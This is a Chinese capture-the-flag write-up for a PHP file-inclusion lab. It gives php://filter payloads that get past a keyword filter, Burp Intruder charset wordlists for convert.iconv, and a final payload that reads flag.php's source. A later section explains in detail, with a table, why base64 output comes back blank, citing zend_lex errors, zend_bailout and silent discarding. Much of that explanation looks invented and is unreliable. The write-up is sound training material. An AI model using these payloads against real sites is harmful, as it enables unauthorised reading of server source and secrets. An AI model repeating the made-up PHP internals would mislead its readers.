[攻防世界] file_include | Web 难度1 Writeup
先看解题流程
打开进入靶场网页
看到了include($filename)与$_GET[‘filename']
猜测是php://filter伪协议
于是构造playload?filename=php://filter/read=convert.base64-encode/resource=check.php
但是被过滤了
随机让我们尝试一些绕过手法
如,省略read=前缀,?filename=php://filter/convert.base64-encode/resource=check.php
不行
再试试,别名替换,用b64替代base64,?filename=php://filter/convert.b64-encode/resource=check.php
依然可惜
甚者,分隔符拆分encode,?filename=php://filter/convert.b64-en//code/resource=check.php
显然是已经完成了绕过,但会造成无回显的现象
于是,面对这种情况,我们尝试php://filter/convert.iconv编码转换
由于直接读取文件内容乱码,我们尝试使用 convert.iconv 过滤器进行编码转换,以还原可读内容
convert.iconv 过滤器的格式为:
php://filter/convert.iconv.源编码.目标编码/resource=文件名 其中,源编码和目标编码需要通过测试确定
为了找到有效的编码组合,我们使用 Burp Suite 的 Intruder 模块进行爆破
此时构造playload,?filename=php://filter/convert.iconv.a.b/resource=check.php进行抓包
爆破点1(原编码)的字典
UTF-8
UTF8
UTF-8*
UTF8*
GBK
GBK*
GB2312
GB2312*
ASCII
ASCII*
ISO-8859-1
ISO-8859-1*
UCS-2
UCS2*
UCS-2LE
UCS-2LE*
UCS-2BE
UCS-2BE*
UCS-4
UCS4*
UCS-4LE
UCS-4LE*
UCS-4BE
UCS-4BE*
UTF-16
UTF16*
UTF-16LE
UTF-16LE*
UTF-16BE
UTF-16BE*
UTF-32
UTF32*
UTF-32LE
UTF-32LE*
UTF-32BE
UTF-32BE*
SJIS
SJIS*
EUC-JP
EUC-JP*
CP936
CP936*
BIG5
BIG5*
UTF-7
UTF7*
ISO-2022-JP
ISO-2022-JP*
爆破点2(目标编码)的字典
UCS-4LE
UCS-4LE*
UCS-2LE
UCS-2LE*
UTF-16LE
UTF-16LE*
UTF-32LE
UTF-32LE*
得到有效编码组合,如原编码UTF-8,目标编码UCS-4LE
在获取有效编码组合后,使用 dirsearch 对目标站点进行目录扫描,成功发现了敏感文件 flag.php
于是构造最终 payload,?filename=php://filter/convert.iconv.UTF-8.UCS-4LE/resource=flag.php
再看看细节
Q1:为什么用Base64无回显,而convert.iconv能输出内容?
首先,先明确一下,php://filter是手,负责先把文件原内容完整读出来 ,然后按你指定的规则改内容,最后把改后的内容传给解析器
而,PHP解析器的工作逻辑决定了这两者间的差别
为了综合比较,结合之前遇到的fileinclude的简单题:只需要记一个php://filter/convert.base64-encode/resource=,就能读到flag的情形
目前遇到了三种情况,详细如下
| 对比维度 | Base64(读 .php 文件) | Base64(读 .txt 文件) | iconv(读 .php 文件) |
|---|---|---|---|
| 目标文件核心特征 | 包含 <?php ?> 标记,内容处于 PHP 解析器的「脚本执行域」(ZEND_PARSE_SCRIPT 模式) | 无 <?php ?> 标记,内容处于 PHP 解析器的「文本输出域」(ZEND_PARSE_TEXT 模式) | 包含 <?php ?> 标记,内容初始处于「脚本执行域」 |
| php://filter 处理结果 | 原始字节流 → Base64 编码为 UTF-8 兼容的 ASCII 文本字节流(仅字符集映射,字节结构为 1 字节 / 字符,符合 PHP 词法分析器的字节解析规则) | 原始字节流 → Base64 编码为 UTF-8 兼容的 ASCII 文本字节流(同左,字节结构合法) | 原始字节流 → iconv 转换为 宽字符畸形字节流(如 UCS-4LE 为 4 字节 / 字符,含大量 0x00 空字节,突破 PHP 词法分析器的 1 字节解析边界) |
| 解析器词法分析阶段 | 1. 字节流通过 zend_lex_scan 词法扫描,判定为「合法文本字节流」;2. 无可识别的 Zend 语法单元(如 T_VARIABLE、T_STRING),判定为「非语法化文本」 | 1. 字节流通过 zend_lex_scan 词法扫描,判定为「合法文本字节流」;2. 因无 <?php ?> 标记,词法分析直接终止,不进入语法判定流程 | 1. 字节流进入 zend_lex_scan 词法扫描时,0x00 空字节触发 ZEND_LEX_ERROR 错误;2. 词法分析中断,无法生成任何 Zend 语法单元,解析器判定为「非文本字节流」 |
| 解析器语法执行阶段 | 1. 处于「脚本执行域」,解析器调用 zend_execute 执行流程;2. 「非语法化文本」被判定为「无效 Zend 指令」,触发 zend_error 但级别为 E_NOTICE,且 display_errors=Off 时静默丢弃;3. 无任何执行结果,无输出缓冲区写入 | 1. 处于「文本输出域」,解析器跳过 zend_execute 执行流程;2. 直接调用 php_output_write 将字节流写入输出缓冲区;3. 输出缓冲区内容最终通过 SAPI 层传递至 HTTP 响应 | 1. 词法分析错误导致 zend_execute 执行流程中断;2. 解析器触发兜底逻辑:调用 zend_bailout 终止脚本执行域处理,将未解析的原始字节流通过 php_output_write 写入输出缓冲区;3. 空字节 0x00 被 HTTP 响应层过滤,有效字符保留 |
| 输出缓冲区状态 | 空(无任何内容写入) | 非空(Base64 字符串完整写入) | 非空(畸形字节流写入,浏览器渲染时过滤空字节) |
| 最终 HTTP 响应 | 响应体为空,状态码 200 | 响应体为 Base64 字符串,状态码 200 | 响应体为 PHP 源码文本,状态码 200 |
| 底层核心差异 | 合法文本字节流 + 脚本执行域 → 无效指令静默丢弃 | 合法文本字节流 + 文本输出域 → 直接写入输出缓冲区 | 畸形字节流 + 词法分析中断 → 兜底输出原始字节流 |
其实,类比来说
PHP 解析器就像便利店店员,看到<?php ?>这个 “工作标识” 就进入严谨收银状态,只认有效 PHP 代码,无效内容直接丢弃;
没看到标识则进入随意递货状态,不管内容是什么都直接输出。
而php://filter就像给文件内容做 “加工”:Base64 编码只是把内容换成写满乱码的废纸,递到严谨收银的店员手里会被直接扔掉(页面空白),递到随意递货的店员手里则会原样给你(输出 Base64 字符串);
iconv 转换(如 UTF-8→UCS-4LE)却是把内容拆成揉成团、沾胶水的 “畸形状态”,哪怕店员处于严谨收银状态,也会因认不出内容而撂挑子,被迫把内容全交给你,浏览器过滤空字节后就能看到完整的 PHP 源码
Q2:convert.iconv中一长串闻所未闻的编码格式是什么?
大底可分为两类,一种是过去被取代的文字编码规则,另一种是其他国家的文字编码规则
另外,这些不同种类的编码,在CTF中也有一定的分量
- 利用不同编码的 “字符映射规则” 做字符转换 / 混淆;
- 故意使用冷门编码制造解码障碍;
- 甚至利用编码转换的 “不可逆” 或 “字符截断 / 替换” 特性隐藏 flag。